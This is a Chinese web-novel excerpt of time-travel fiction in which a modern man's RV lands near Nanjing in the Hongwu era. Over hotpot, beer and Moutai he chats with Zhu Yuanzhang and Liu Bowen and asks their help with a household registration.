《自驾大明,创到朱重八》 第一章 从前往318到创到朱八八 “混动房车就是牛逼啊,18度电,100L油箱,嘿嘿,爽!!!” 刚辞职的朱安宁现在心情极度舒畅。 不必继续在办公室里焦头烂额,也不必再看自己上司那张司马脸。 趁着还年轻,他把毕业工作这几年攒的票子,换成了这辆房车。 郊外的省道,路况并不太好,却也因为如此,车辆稀少得过分。 朱安宁享受着自由的感觉,连呼吸都畅快了许多。 反正爹妈都不在了,大学毕业每天工作007,女朋友更是没谈一个,孑身一人,不如出去看看祖国大好山河。 “心中那自由的世界,如此的清澈高远,盛开着永不凋零,蓝莲花~~~嗷嗷嗷。” 他在嚎叫着318主题曲,除了走调之外并没有什么问题。 兴奋的他,跟着导航,拐到了一条土路边上。 大抵是在山里的原因,雾气一下就漫了上来。 手机里的林雪语音导航不断提示着他。 【扑街啊,好楞大雾啊,慢慢开啦】 山路崎岖,加上雾大,朱安宁也突然紧张了起来。 他没有注意到,导航已经很久没有声音出来。 而山间的团雾,愈发浓郁。 当周围朦胧到极致的时候,他忽然感觉前面闪过了些东西,不由得一脚刹车重重地踩了下去。 …… 洪武十二年。 京城外的路上,两位老人避开了人来人往的主干道,拐到了行人罕至的土路上。 虽是土路,倒也是宽敞平整,两人就在那踱步慢走着。 “上位,如今天下初定,内外一心,只要能继续轻赋税,重桑田,不出十年,我们定能迎来一场盛世。”刘伯温摸了摸自己的胡子,眼中满是对他所说盛世的向往。 “盛世?”结果,他旁边的朱元璋,却翻了个白眼,心情看起来不是很愉悦的样子:“盛世里有些人也很锋芒嘛,伯温,你怎么看?” 就这么一句反问,刘伯温就已经留下了汗来。 他自然是知道朱元璋在说谁。 也知道他最近为何心情如此恼火。 告老还乡过一次的他,如今又被朱元璋抓了回来京城这里,自然是想要他做些事情。 但是……这些事情,欲速则不达,那毕竟是位居宰相之位,大权在手的人啊,总不能就真的一刀砍死他吧。 如今的朝堂,暗潮涌动,他知道朱元璋早就对跋扈专权的胡惟庸不满。 而自己这几年也是被折腾得相当难受,朝中关系错综复杂,比如那胡惟庸和李善长,李善长和勋贵集团之间那些千丝万缕的关系,即便是他刘伯温文曲星下凡,也没办法简单绕过人际关系啊,更别说他还有两个儿子在朝中,不为自己,为儿子,也要慎言慎行吧。 看见刘伯温沉默不语。 朱元璋更是恼火得不行。 他本来打算把刘基召回京城,就是为了抗衡那愈发权力膨胀的胡惟庸,结果,几年下来,这刘基搞其它内政那是头头是道,条理清晰,一到这件事情,就只会沉默不语。 “算逑,算逑,不聊这破事……” 朱元璋也知道这事也怪不得刘伯温,这本就是一件牵涉甚广的事情。 所以他才会撇开所有人,就想带着刘伯温随便走走,毕竟现在朝堂之上的重臣,刘伯温和胡惟庸是没什么裙带关系的。 没有带任何随从的两人依旧在继续信步走着。 却也没发现自己身后的拐角那里突然闪过了一道光芒,一辆房车,就这样凭空出现在了道路的尽头。 “我草我草我草!”车里的朱安宁止不住地在那骂着娘,因为雾气散尽后,土路前面突然出现了两个老头,像在自家客厅逛街那般走着路。 土路本就颠簸,朱安宁开的还是房车,他几脚刹车跺下去,最终是将将擦过了朱元璋和刘伯温。 “我草你们两傻逼走路不靠边有病啊,客厅散步小心下次先走一步!!!”按下车窗,是熟练的国粹叫骂。 而更为懵逼的是朱元璋和刘伯温。 他们听到身后传来了从未听过的轰鸣,像是万马齐喑,又像是电闪雷鸣。 结果,转过身看到的是,那灰色的巨物,闪着光芒急速向自己冲来。 饶是他们是打过大仗,心理素质过硬,也不由得僵在了那里。 房车擦过他们的衣摆,气浪卷起尘土,扬了他们一脸。 至于那巨物边上突然探出个头来说了些什么,他们完全没有听清楚。 车里,朱安宁心跳180,早就没有了自由自在。 国粹输出完的他,抹了下额头的汗水,舒了口气。 一直在雾里开车,本就高度集中注意力,刚出浓雾看到两老头,更是差点吓个半死。 别还没开到318,这就得修车回家…… 他长长地吐了口气,这时才注意到,那导航已经不动很久,熟悉的林雪叫骂声,也好像很久没有出现。 “我靠,什么鬼地方,我们guojia还有没信号的地方?不能吧,这又不是什么隧道。” 朱安宁多少有些疑惑,但是他也懒得停车,继续沿着土路开了一段时间,终于在河边找到了平坦的驻车地。 晴空万里,放眼望去,看不到任何楼宇。 站到车边的朱安宁感叹了句:“这什么山卡拉地方,才开了半天就到这种无人区了?真就没信号呗,完犊子,不会走错路了吧,算了算了,先干饭,明天再原路返回,没信号开个蛋……” 既来之则安之,反正guonei治安良好,也不怕出什么大事。 要是阿美莉卡那种地界,给朱安宁一百个胆子他也不敢在没信号的地方驻车。 荒郊野外+没信号,可是阿美莉卡18禁血腥电影的标配啊。 他熟练地拉出了户外燃气灶,准备整顿麻辣烫来安抚下自己刚才受惊的小心脏。 朱安宁回到房车里,从柜子里掏出了谋著名小X坎的火锅底料,然后,他打开了那专门定制的大冰箱,本来房车配备的是那种小冰箱,但是朱安宁觉得自己未来应该就是大部分时间都住在房车上了,于是又额外掏钱,配备了容量更大的选配。 冰箱,琳琅满目,各种食材都是他上午采购好的,足够他吃上很长一段时间。 里面还塞满了快乐水和啤酒,突出的就是无业游民的快乐生活。 哼着小曲的人儿,在房车边上,准备好食材,把那火锅底料用水化开。 一股厚重的香气,很快就弥散在了空中,飘香四溢。 朱安宁没有注意到的是,河岸边上的石头后,有两个略微有些狼狈的人,正在观察他。 第二章 麻辣宣香 “伯温,那人在煮何物?香味极为浓郁啊。”头发有些缭乱的朱元璋,深吸了几口气,很是享受的样子。 “上位,要不直接去询问一番?臣更好奇的是那巨物……方才尘土太大,都看不清是马匹拉动还是如何动起来,这等巨物还能有如此速度,真是骇人。”刘伯温虽然也对那香味很有兴趣,但是他更好奇的是,房车。 “走,去问上一番便是。”朱元璋没有多加思考,这里是京郊,并没有什么危险,这是他的判断。 经历过大风大浪的两人都没有犹豫,他们直接就从石头后面走了出来。 也不怕朱安宁会是什么危险人物。 毕竟看起来,他确实也并没有佩戴武器。 手里的木铲子不算,那个一看就是炊具。 朱安宁也不是瞎子,哼着歌的他很快就注意到了穿着古装的两人。 “啥玩意?cosplay?在这荒郊野外脑子有包吧……哎cos还是长腿大邪恶的小姐姐好看,这两老头不得劲……”他小声碎碎念着,却也突然发现,这两人就是他差点创飞的那两老头。 “完犊子,不是要来讹钱了吧……”朱安宁一下紧张了起来:“这种古早的产业,还没被打击掉么?哦豁,要寄了,现在信号都没,想bj都难……” 两人也是一下就发现了朱安宁的紧张。 不由得笑了起来,能露出这种表情,看起来就像是没经历什么大风大浪的年轻人。 “没带现金啊!现在都是移动支付啊,怎么打发这两老头?车上也没什么值钱家伙啊。”而他们不知道的是,朱安宁现在正在头脑风暴,一脸黑线。 看着紧张的朱安宁,朱元璋递了个眼神给刘伯温。 两人处了大半辈子,这点默契还是有的。 刘伯温顿了顿,上前了一步,开口道:“小友不必紧张,我们是附近的庄子的人,不是什么贼人。” “角色扮演得这么入戏么,还小友贼人……”朱安宁拿着铲子在心里嘀咕着,依旧还是有些紧张,毕竟对方还没提出要求。 见朱安宁不说话,刘伯温也是继续轻笑着,似乎缓和气氛。 “对了,小友这煮的是何物啊,老夫虽然这些年走南闯北,算是见多识广,但是也未见过能闻到这等异香的食物。”即便刘伯温对房车更感兴趣,他也没有开口就问房车,毕竟是有城府的老狐狸了,他笑眯眯地先问了那香味来源。 “不是……这不是南京附近么?都奔小康了才对吧,火锅底料啊……五块钱一块,加水一拌,那就是麻辣烫啊,麻辣鲜香……”朱安宁继续懵逼了下去,这次他不是在心里嘀咕了,而是说了出来。 “南京?”朱元璋撇了撇嘴,也开了口:“去年咱……啊,去年陛下不是改称京师了么?怎么地,过了一年还说不顺口?” “京师?什么南京京师啊,我还金陵呢……陛下……”朱安宁的懵逼还在继续。 两人看朱安宁的懵逼不是作假,也是好奇了起来。 看那朱安宁的外貌,就是地道的汉人,怎么看也不像是外邦蛮夷。 于是朱元璋和刘伯温的好奇心更甚,两人对视一眼,便也知道了对方的想法。 两只老狐狸都没有轻举妄动,他们又重新把话题扯回了食物上。 “火锅……底料是怎个意思啊……确实没见过,怕是西域的稀罕物?”刘伯温摸了摸胡子,开始套话。 逐渐找回点理智的,朱安宁,终于意识到有点不对头了。 作为经历过九年义务教育加完整高中折磨和大学四年的祖国不太栋梁之材,他还是有点脑子的。 “您……没吃过麻辣烫?”他试探性地反问了一句。 要是说现在在什么边疆边境的超级偏远地区,朱安宁相信还是有人没吃过这火锅的。 但是,这地方…… 他环视了一下,有山有水温度也凑合,这地方明显就不是那种边疆啊。 所以说……不可能没有吃过火锅。 地方没有出问题的话,那会不会是时间出了问题呢? 一念至此,他的心脏砰砰砰地急速跳动了起来。 【踏马的穿越了?这么儿戏就穿越了,金手指呢?系统呢?空间呢?再不济给我整个抽卡系统啊,虽然我是非洲究极黑酋,次次大保底出五星的黑鬼。】肾上腺素作用下,朱安宁脑子里一下冒出了n种想法:【不行,得问一问这两个老头什么情况,一会再想办法自己去确认下周边的情况……】 打定主意的朱安宁,也笑了起来,那是久经锻炼的职场微笑,007卑微打工人的标配。 而这表情转换,让刘伯温和朱元璋也意外了起来。 这奇装异服的小伙刚才还懵得像个没有城府的智障样,怎么突然就笑得这么上道了呢。 “我走遍大江南北,确实未曾见过。”刘伯温也不知道朱安宁心里想的是什么,他只能继续刚才的话题。 “试试?”朱安宁拿出了三副碗筷,想邀请他们一起吃点。 他想得很简单,这两老头说是附近的老人,那应该不会是什么大恶人,用麻辣烫套套话,看下现在是什么情况也好。 看着摆着职业笑脸的朱安宁,刘伯温反倒是踌躇了起来。 这郊外,随便吃来路不明的东西,万一万一有个万一,那不是一万个自己也不够死? 只是,话题是自己挑起来的,现在对方发出了邀请,自己不应,那更为尴尬。 于是,还未等朱元璋回话,刘伯温麻利地接过筷子,一下就夹起了那红油之下的青菜,丢进了嘴巴里。 这副姿态,把朱安宁和朱元璋都吓了一跳。 朱元璋自然是很快就回过了味来,知道刘伯温在干嘛。 朱安宁却只是想着这老头抢食倒是快,也不管他老友吃没吃上…… 为了避免尴尬,他连忙把手中的另外一副碗筷递给了朱元璋。 而,在一边,刚把青菜丢到嘴巴的刘伯温,他的脸,腾一下就红了起来。 眼睛更是瞪得,像铜铃一般。 “这……这……斯哈!斯哈!!!” 第三章 敬已故的我? “花椒,黄姜,还是茱萸?!斯哈!!!这辛辣,太过瘾了!”刘伯温舔了舔嘴角边上的红油,还在喘着气。 真的穿越了?!这老头连辣椒都不知道!!!就算是隐隐已经有了猜测,朱安宁依旧是有点激动,外加彷徨……人面对未知的情况,基本都是这样。 “呃,这是辣椒,极西极西之地的产物。”朱安宁留了个心眼,没敢直接说什么南美洲特产,毕竟如果真的是穿越,这两老头肯定听不懂南美洲在哪,索性换个好蒙混过去的说法。 “哇……哈……”一直在吸气吐气的刘伯温不知道有没听进去,只见他像条狗一样在那哈个不停…… 特辣看来是有点猛啊……朱安宁哭笑不得,他嗜好吃辣,所以这底料特意买的特辣,这刘伯温那顶得住这辣度,吃的还是裹满红油的青菜,不喷火才怪。 “你这是觉得好吃还是不好吃嘛,一副要死的样子。”朱元璋看那刘伯温的狼狈样,有点好笑。 而朱安宁也在把碗筷递给朱元璋后,自己也吃了起来。 熟悉的辣味,涌进喉间,牛油和辣椒的配合,让他的大脑放松了不少。 朱元璋看连朱安宁都吃了起来,便也放下了最后的戒心,夹起了一颗丸子,吃了起来。 “这……这……斯哈!斯哈!!!”结果,朱元璋,陷入了和刘伯温一样的境地之中。 涨红着脸的朱元璋,却同时露出了享受的表情。 他抹了抹鬓边留下的汗水,大喊了一声:“爽!!!” 这几年,一直被各种事务压身,每天都有烦心事,而这麻辣烫,才一口下肚,他就已经有点酣畅淋漓的畅快感觉。 “确实好爽!这等神物,如果能配点小酒,那才是极乐啊。”缓过来点的刘伯温也是大叫了起来。 酒?房车里放了不少,但是就两小老头,白酒加辣椒,第二天不得人直接没了啊,还是给点啤酒吧……如果真的穿越了,朱安宁想着自己这物资也是用点少点,得省点用…… “嘿嘿,大爷,要是想喝酒,我这边有同样产自极西之地的啤酒,清爽解腻,要不要来点?”朱安宁笑呵呵地开了口,他现在权当是陪客户吃喝,吃饱喝足才好谈事情嘛。 “还真有?小友若是方便,匀些给我二人试试不知可否?”朱元璋一边扒拉嫩肉到自己的碗里,一边说道,他确实也是被刘伯温说馋了。 麻辣烫配点小酒,这才是人生嘛,没有人可以抗拒。 朱安宁没有返回房车,而是从放厨具的储物箱里掏出了箱未开封的生啤,抠抠搜搜地拿了一罐出来……没办法,如果穿越属实,那能省就要省,而且,他现在并不想把房车里的各种现代设备暴露出来。 朱安宁找回了以前饭局陪酒的姿态,给两人添了两纸杯,然后倒满了两杯啤酒,最后才给自己满上。 刘伯温和朱元璋只觉得这后生的态度确实挺让人觉得舒服的,且那麻辣烫也让人吃得无比爽快,只是他倒的这酒……闻起来也不是很烈啊。 两人有点面面相觑。 朱安宁也知道他们在犹豫,微笑着,把手中的啤酒,一饮而尽,然后长长地叹了口气。 这可不是在演戏……吃完辣的喝啤酒,虽然不是冰的,但还是很爽啊! 看见一饮而尽的年轻人,两老人也笑了起来,喝酒就是应当要豪爽。 两人也碰杯,然后一饮而尽。 “哈!这酒,很是神奇!”朱元璋睁大了眼睛,望了眼刘伯温。 而那刘伯温自不必说,也是一脸享受的表情。 “伍爷,这酒确实神奇!”刘伯温呵呵笑着,随口诌了个代号。 “老季啊,你我走南闯北这么多年,都没吃过这么爽快的吃食,喝过这么畅快的小酒,今天真是得多谢这位小友了。” 朱元璋也哈哈大笑了起来,吃饭喝酒本来就是人最基本的需求,而吃喝得舒服,两人皆是相当开心。 朱安宁,看着两人都露出了笑脸,知道气氛已经到了。 连忙又给他们满了两杯。 幸好买的是高罐装的,500ml的还是给力啊,330的怕不都倒不了几杯…… 他在庆幸自己是满物资的状态,如果是空车穿越到这里,怕不是要出大事…… “两位老丈不必如此客气,我叫朱安宁,是个小行商,去了那西边倒腾了几年,前不久刚从西域返回,所以对这几年咱们这边发生的事情都不太了解,方才胡言乱语没吓着二位吧?” 朱安宁再次举杯一饮而尽:“在这先给两位道个歉啦。” 看见豪爽地喝完第二杯的年轻人,朱元璋和刘伯温已经对这个年轻人又多了一丝好感。 谁不喜欢礼貌的人呢? “诶,小友……老是叫小友也生分,安宁小弟如此真是太客气了,是我们叨扰了你才对。”朱元璋本想叫朱小弟,但是话到嘴边多少觉得有点别扭,便也换了个说法。 “安宁小弟你是洪武几年去啊?”刘伯温也顺着朱元璋的话问了下去,他比起朱元璋要更加好奇朱安宁的来历。 “哎呀,现今已是几年了啊?”朱安宁作为以前公司的酒桌三陪倒霉蛋,打哈哈的能力那是一等一的,他随意把问题还了回去,不漏痕迹。 朱元璋倒也没有多想,又喝了口黄色快乐饮料,回答了问题:“洪武十二年咯。” “哎呀,十二年了,我这七年离去的,现今了十二年了啊……”他一副物是人非的神伤样子,演技比那些小鲜肉强的不是一点。 “那安宁小弟也是见多识广之人了啊,在外面游历了这么多年。”是刘伯温在感叹,他也是感叹自己一辈子将要到头,但是还未去过更广袤的地方开拓自己的见识。 三人再次碰杯,又是一饮而尽。 一罐啤酒就此见底。 洪武啊……风起云涌的洪武年代啊。 幸好是朱八八还没黑化的年代……只是,哎,洪武十二年啊,胡惟庸还没死,但是刘基可是不在咯……朱安宁在心里感叹着,大学他的闲书可没少看,小说那更是一本接一本,这点东西他还是知道的。 人人都说三分天下诸葛亮,一统江山刘伯温,虽然这不基于史实的评价,朱安宁从心底里还是很喜欢刘伯温的,只是,斯人已逝哇。 一念至此,他暂时放下了对物资损耗的执念,又掏出一罐啤酒,给三人倒满。 “十二年了啊,先敬我们陛下,然后再敬已故的伯温先生吧。” 朱安宁又一次把杯子举了起来。 前半个要敬的对象毫无问题,但是这个已故两字,确是让刘伯温满脸无语了起来。 “安宁小哥,你这哪听来的消息,那个……那个刘伯温还活得好好的啊。”他拿着纸杯,喝也不是,不喝也不是,总不能敬自己去死吧。 第四章 不可沽名学霸王 刘伯温尴尬地停在了那里。 朱元璋却是乐呵呵了起来,有什么比看别人尴尬更有乐趣的事情呢? “安宁小弟啊,你是不是听了那些胡人胡说八道啊,我听说西域那边接收消息慢,便喜欢胡编乱造,嘿嘿,小弟莫要轻信,小心局骗啊。” 看着一人尴尬,一人乐不可支,轮到举着酒杯的朱安宁傻眼了。 什么情况? 洪武十二年啊。 自己没记错啊。 三年回家,四年胡惟庸给药,很快人就不行,给自己两儿子留下点遗言和遗产,就挂了呗。 这是清清楚楚的记忆。 难道是自己穿越了导致历史出现了偏差?小说里也不是没出过这样的桥段。 这就值得深思了。 如果拿捏不准各个时间点的大事,那可是很恐怖的……搞不好朱八八提前黑化,自己会被波及什么之类的。 朱安宁一下就尬在了那里。 于是场中两人在那尬,一人在那笑。 只有小锅里的食材还在红汤里翻滚。 “伯温先生还安康啊!可恶的胡人,胡说八道,哎,是我问题不应该轻信的呵呵。”而朱安宁很快就反应了过来,反正连借口对方都帮他编好了,便连忙顺坡下驴。 他连忙把杯中的啤酒一饮而尽,掩饰尴尬。 刘伯温也是无语地举杯喝下。 自己好端端在这里,要被人咒死,是哪个西域国家的人在那胡言乱语,好想灭了它…… “安宁小弟啊,你好像对伯温先生很是推崇。”陪着二人把酒喝下的朱元璋突然又乐呵呵地出了声。 这个问题,直接就让刘伯温汗如雨下,脸色苍白。 这朱安宁,可是把自己和朱元璋相提并论!什么仇什么怨这是!虽然听得还挺爽的……但是痛并快乐着。 “啊,伍大爷你不喜欢伯温先生?”朱安宁平复了下刚才的尴尬,接了话。 明初各路猛人辈出,民间的传说应该也是五花八门,朱安宁可猜不到对方的喜好。 “不喜欢?我是觉得伯温先生他啊,虽然谋略过人,但是有时候是不是太患得患失,太过在乎名声,太胆小啊。”朱元璋眯着眼睛嘿嘿笑了两声。 朱安宁是没什么感觉,但是刘伯温可是两眼一黑…… “诶,但是三分天下诸葛亮,一统江山刘伯温啊。”朱安宁又给刘伯温增加了点压力。 压力满载的刘伯温,颤抖着主动给自己倒了杯啤酒,统一江山的可是朱元璋…… 他只希望朱安宁不要再继续这个话题。 “好,好一个一统江山刘伯温,那你觉得我们陛下如何。”朱元璋的眼睛再次眯了起来,这是相当危险的信号。 作为现代各大电视台非邀请评论员,B站高级键政专家,朱安宁的参政议政热情始终高涨,即便是穿越到了这里,依旧如此……更别说他还喝了点小酒。 “洪武帝?” 砸吧了下嘴巴,朱安宁脑袋里面冒出来了第一句话,只能是开局一条狗……啊不对,是一个碗。 然后就是前期无敌,后期暴虐……那现在才洪武十二年,还是属于无敌的时期…… “崛起布衣,纬武经文,统一方夏,凡其制度,准今酌古,咸极周详,非独后代莫能越其范围,即汉唐宋诸君诚有所未及也。英武伟烈之主,非寻常帝王可比。” 他昨天才躺房车里看完了明朝那些事,顺便翻到了康熙对洪武的评价,朱安宁觉得朱元璋确实对得起这份评价,特别是你的对手给你的评价,这可是连清朝史官都认可的明朝开国帝皇。 这一番话下来,不仅是刘伯温错愕,连朱元璋都不好意思了起来。 这夸得简直是离谱…… 饶是朱元璋脸皮再厚,也有点顶不住了。 “过了吧。”朱元璋挠了挠自己的脸颊。 “什么过了,开局给你一个碗,你能在那乱世中活下来就算不错了,唯有洪武帝能够从无到有打下偌大疆土,而且最重要的是,他不仅终结了这一场乱世,还干跑了那些狗日的鞑子,给了咱们一个安定的国家。”朱安宁又顺手开了一罐啤酒,给二人倒满。 元朝。 现代教科书都不太愿意提及的朝代。 汉人心中永远的痛。 黑暗的90年。 汉人不如狗的90年。 “宋朝都拿不回来的燕云十六州回来了,养马地有了,咱们未来就不用再用步兵去堆那些蛮子的骑兵了,你们等着吧,不会很久的,洪武帝一定会再次点齐兵马,再去到那草原上,以牙还牙以眼还眼的!!!” 朱安宁重重地把杯子砸到了桌面上。 没办法,这段屈辱史,太过让人难受了。 但是他也知道历史上的朱元璋有多狠,朱元璋朱棣加朱瞻基三人,可是把北方当稻田一样彻底犁了一遍的。 对于朱安宁的话,朱元璋和刘伯温,也是有些激动了起来。 他们是那个黑暗时代的经历者,感同身受,且正是因为经历过,才会更加深刻。 朱元璋又喝下一杯酒,有些愤懑地说。 “前些年,不也北征了两次么,有得有失,咱们损失也不小,这第三次,可不好打啊。” 其实第三次北伐,已经谋划许久,朝堂上赞成的人占据了多数,但是部分人认为,也是时候休养生息了,胡惟庸也是在那时不时带头反对,让朱元璋很是恼火。 朱元璋当然是拿定主意要打的,只是,他也担心这刚建立的偌大帝国,禁不禁得起这连年战事的损耗,特别是现在民心刚定,农民们好不容易才能安心种田养家……农民起家的朱元璋,一向心疼农民。 朱安宁看着对方,心想,没想到这个年代键政的人也不少啊……这山沟沟里两老头都能议论一二……明初这么开放的么? “难道不打啊?”朱安宁挥了挥手,大声道:“宜将剩勇追穷寇,不可沽名学霸王!” “宜将剩勇追穷寇,不可沽名学霸王。”刘伯温又重复了一遍:“好一个宜将剩勇追穷寇,不可沽名学霸王!”他眼睛亮了起来,作为明初三大家,他的文学素养是不必多说的。 导员的诗词越过几百年岁月来到了他们面前,那个磅礴的气势却不曾衰减。 “好好好!”朱元璋也回过了味来,这两句话其实极对他的胃口。 能说出这样话的人,怎么会是这样的年轻人呢。 这年轻人,真不错!朱元璋不免又看了两眼朱安宁。 酒过三巡,锅里的菜已经吃得差不多。 朱元璋和刘伯温对朱安宁越来越感兴趣。 毕竟一句一统江山刘伯温,一句英武伟烈之主,可是实打实把他们夸了一番的。 更别说导员的宜将剩勇追穷寇,不可沽名学霸王给他们带来的震撼了。 “北征,把什劳子北元打烂,打碎!”朱元璋先举杯。 “鞑子占了我们地盘这么久,他们的草原也该给我们用用了吧。”刘伯温跟上。 两人的眼中都闪过了一丝厉色。 这个时代的键政侠……好像比现代的要生猛啊……朱安宁觉得这两老头,怕不是以前是打过仗的老兵吧。 第五章 户帖需要多少瓶茅台 一顿麻辣烫,三罐啤酒,让好些年没有好好舒心过的朱元璋,感受到了放松的滋味。 而朱安宁对他的评价,也给了他不少安慰。 他打下偌大的天下,费心费力地经营,不敢有一丝懈怠,其中的艰辛,谁人知?谁又敢去评判他。 而这年轻人,却说他是汉唐宋诸君诚有所未及也,这直接就把他抬到了极高的高度…… 虽然有点过了,但是就是受用哇! 而且今天,还解决了一件很重要的事情。 那就是北伐。 宜将剩勇追穷寇,不可沽名学霸王!这两句话,帮朱元璋定了心,一个小年轻都能看得这么透,自己还在那里和朝堂那群文官在那患得患失,真是太没水平了。 打,就是要狠狠地打。 不能有任何疑虑地去打! 朱元璋喝完最后一点酒,示意刘伯温,是时候了。 刘伯温自然心领神会。 见两人都把杯中酒喝完,没有再添的意思。 熟稔酒局的朱安宁也是知道这麻辣烫之宴是时候接近尾声了。 他也收获了不少信息,最重要的莫过于,这是明朝,洪武十二年,这地方是南京郊外。 与此同时,他还在思量一件极其重要的事情。 他的户口…… 没错,明朝是有户口的,他如果要在这京郊定居下来,户籍是必不可少啊。 没想到穿越前他为户口犯愁过……现在穿越了,这户口还是大问题。 真是操蛋,这里不是也要买房子才给落户吧…… 朱安宁在心里骂了几声,却也无可奈何。 总不能去做黑户吧。 古代黑户可比现代还要艰难……现代还能当润人被老墨撅完后去阿美莉卡刷盘子吃甜甜圈呼吸香甜的毒气。 现在他能润哪里去,车的油虽然是满的,但是古代可都是土路,他能跑多远…… 虽然不太清楚眼前这两老头的身份,但是看他们还有闲心瞎逛和这非同一般的键政素养,必然还是比较富足的人家。 当然,打死朱安宁他也想不到郊外两老头会是朱元璋和刘伯温…… 既然是富足人家,会不会有点路子搞一搞户帖这东西呢? 哎,要是成不了,自己就要跑路了。 只能赌一把了,毕竟三人还有一顿饭之谊,自己胡乱去找其他人,说不定死的更惨,不如就拜托这两人试试看。 一咬牙,朱安宁还是开了口。 “对了伍老,季老,你们看我这域外行商回来,户帖早就已经丢失了,我本无父无母,打小就是孑身一人,家乡什么的具体在哪都不知道,现在户帖一丢,我等于就是个黑户啊,不知两位能不能有点关系,帮帮忙。”朱安宁赌了一把。 他赌两人有能力,且不会告发他这聊得还算投机的键政好友。 当然,该送的人情,他早就在储物箱那里摸了出来。 茅台!!! 两瓶!!! 朱安宁后槽牙都要咬碎了,茅台拢共也就十二瓶,这是他在现代孜孜不倦地天天京东预购原价抢回来的,就算自己不喝,也能加价卖出去,再不济,存几年,说不定变成年份酒又能升值,这可是理财产品啊,现在一下就掏了两支出来…… 然后,尴尬的事情发生了。 朱元璋和刘伯温都听懂了朱安宁的诉求……但是,他掏出来的礼物,两人是怎么看都看不懂。 只觉得这包装真他娘的华丽。 朱安宁也是拍了拍脑袋,知道是自己脑子有问题,古人哪知道茅台的妙嘛…… 他麻利地把其中一瓶茅台拿了出来。 又重新拿了两个新纸杯……他可不想用装过啤酒的纸杯去装茅子…… 熟练地打开酒瓶,一股异香很快就飘到了空中。 朱元璋和刘伯温哪闻到过这种浓度和纯度的酒味。 当即就瞪大了眼睛。 “安宁小弟,这酒!!!不对劲,怎会如此浓郁。”朱元璋不自觉地舔了舔嘴巴,他算是闻出来了,刚才的所谓啤酒就是小菜,现在这酒才是正经东西啊。 “这酒……不同寻常。”刘伯温也是闻出来了,并非是平日那些黄酒的味道,但是他也拿捏不定,毕竟对他而言有点臭…… 但是朱元璋和刘伯温的共识就是,这可不是什么啤酒可以比的东西,那啤酒虽然爽冽,但是就是解渴饮料般,没什么酒味。 两人的表现,朱安宁也是看在眼里。 嘿,能不名贵么,一瓶一周工资没了,两瓶就半个月工资,今天算是给你们两个老头开开眼吧。 他翻了个白眼,却也知道,现在不是吝啬的时候。 他微微倒了小半两酒到纸杯里,然后递给了两人。 两人仅仅闻着味就知道不得了,各自抿了一口。 “老季,这比什么琼浆还要纯啊!嘶……辣,但是怎么进喉咙又怎么顺!” “伍爷,琼浆、花酒、烧刀子、白雪皮和冰糖酒都比不上这……安宁小弟,这叫什么来着?” 刘伯温也是喝了口,他先是皱起了眉头,只觉得这味也太大了吧……怎么知入喉的时候,却又柔顺无比,那也是睁大了眼睛,连连点头,向朱安宁问道。 “茅台。”琼浆、花酒、烧刀子、白雪皮和冰糖酒,请不要拿这种三十多度的东西来碰瓷茅台酒好么。看着两人享受的模样,朱安宁知道这礼物是送对了。 刘伯温和朱元璋都是识货的人,作为统治阶级的他们,这些年什么好酒没喝过,但是就是愣是没有一款比得上这个茅台。 所以收还是不收呢,这个决定,刘伯温知道只能由朱元璋来下。 户帖一事,如果放在头几年,流民还很多的时候,并不是什么大事,但是现在天下已经安定好些年了,没有户帖的人总归是极少数了。 极少数不代表没有,西域归来虽是借口,但是各种稀罕玩意的确是唬住了朱元璋,而且他确实也对朱安宁颇有好感。 “安宁小弟这个礼,很重啊。” “再重也没有京城的户帖重吧,两位若是有办法,我这礼根本就不算什么。” 他说的也是实话,京城户帖,基本就是现代的京城户口啊。 那突出一个地道,嗯,是南京的地道。 “嘿,这小田庄的里长可是我和老季的好友,安宁小弟,你看你户帖就落在这小田庄可好?”朱元璋沉思了片刻,突然开口。 刘伯温却也不觉得意外。 户帖本就是为了维护农民财产避免豪绅过于强取豪夺和统计人口用的,现在这朱安宁说他是域外回来的,那给他弄个户帖,也不算什么大事,只要确定他不是什么奸恶之人就行。 而且……这天下都是朱元璋的,他说没问题,那就是没问题。 “两位还和里长有关系,那可真是太好了。”朱安宁听那朱元璋说和里长相熟,立马放心了不少。 看来这边的洪武十二年的户帖制度还未收紧到黄册制度这般严格…… “那就拜托二位了。”朱安宁学着电视剧,有模有样地作了个揖。 “好了好了,天色也晚了,呵呵,我和老季就先回去了,对了,安宁小弟你这……你这是马车吧,又像房舍的样子,你今晚就住这?” “哎,这是房舍马车,是我从极西之地那边购得,存了几年的钱银,就换了这东西。”三人都喝了酒,朱安宁也一时想不到更好的解释,只能借着酒意胡诌着。 “马呢?”刘伯温一下就言中了重点。 “跑丢了……所以我就只能在这里停下了呀。” “竟……竟如此倒霉?” 朱安宁的话,漏洞不少。 但是就是把刀放到朱元璋刘伯温脖子上,他们也不信这大车子能自己动起来……靠什么东西拉动是唯一的解释。 这就是科学给他们带来的局限性…… 所以,漏洞不少的话语,也变成了唯一可信的说辞。 “那行,改天有消息,再来这里找安宁小弟你?”朱元璋挥了挥手,示意刘伯温该走了。 “好嘞。”朱安宁也应承了一句,目送两人沿着那土道,离开了自己的视线。 第六章 房车物资小盘点 主干道上,人来人往,基本都是想在晚上前赶回城里的人。 “伯温,你怎么看那朱安宁?”朱元璋先开了口。 刘伯温是知道朱元璋有点欣赏朱安宁的。 “不是坏人,有才气,有血性。”但是他只是回答了自己的想法,没有添加更多的东西。 “至于他的来历?” “臣觉得不重要。” “嘿嘿,不涉及朝堂,你就很大胆了啊。”背着手的朱元璋忽然嘲讽了句。 “这……”刘伯温被这忽如其来的话语呛了呛,却也知道自己决不能回答这个问题,连忙继续说回朱安宁。 “上位,这小子,年纪不大,但是待人还是舒服的,最重要的是,他那两句话的站位很高。” 他们没想到的是,朱安宁引用的可是上下五千年第一号猛人导员的话语啊,能不高么…… “确实,普通民众不过一日三餐,他却知道宜将剩勇追穷寇,不可沽名学霸王!你看看朝堂上那些吵来吵去的鸟人,武将想立功,文臣想要名,有几个是真心实意想要剿灭那些元贼?”朱元璋说起这些事情,就气不打一处来:“很多人已经忘了,当年元人,是怎么对我们的啊,这些事情对一些小年轻来讲,已经是很久远了是吧,伯温……” 老人在叹气。 他回想起了自己小时候那段颠沛流离的非人生活,与他一般的普通汉人,都活在地狱之中。 这些都是拜元人所赐。 “宜将剩勇追穷寇,不可沽名学霸王。”刘伯温又品了品那两句话,继续开了口:“陛下,元贼还未被彻底打散,打废,这第三次北伐势在必行,如果真要担负劳民伤财穷兵黩武的骂名,我愿当那个人!!!” 刘伯温突然停下了脚步,深深地对朱元璋作了个揖。 